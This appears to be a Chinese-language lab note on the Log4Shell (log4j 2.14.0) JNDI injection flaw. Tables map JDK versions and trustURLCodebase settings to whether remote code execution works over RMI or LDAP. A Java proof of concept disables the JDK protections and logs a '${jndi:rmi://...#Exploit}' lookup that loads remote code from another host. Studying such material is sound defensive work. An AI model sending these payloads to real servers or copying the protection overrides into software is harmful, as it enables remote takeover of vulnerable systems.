| JDK | log4j-core/log4j-api | setProperty | RCE |
|---|---|---|---|
| 8u181(<8u191) | 2.14.0 | ⭕(RMI/LDAP) | ⭕(RMI/LDAP) |
| 8u181(<8u191) | 2.14.0 | ❌(RMI/LDAP) | ⭕(LDAP) |
| 8u181(<8u191) | 2.14.0 | ❌(RMI/LDAP) | ❌(RMI) |
| 8u332(>8u191) | 2.14.0 | ⭕(RMI/LDAP) | ⭕(RMI) |
| 8u332(>8u191) | 2.14.0 | ⭕(RMI/LDAP) | ❌(LDAP) |
| 8u332(>8u191) | 2.14.0 | ❌(RMI/LDAP) | ❌(RMI/LDAP) |
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");such as:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:rmi://192.168.3.50:4001/#Exploit}");
}
}
| PROTOCOL | RMI | LDAP |
|---|---|---|
| - | ${jndi:rmi://..} |
${jndi:ldap://..} |
| ⭕(RMI) | ⭕ | ❌ |
| ⭕(LDAP) | ❌ | ⭕ |
| ⭕(RMI/LDAP) | ⭕ | ⭕ |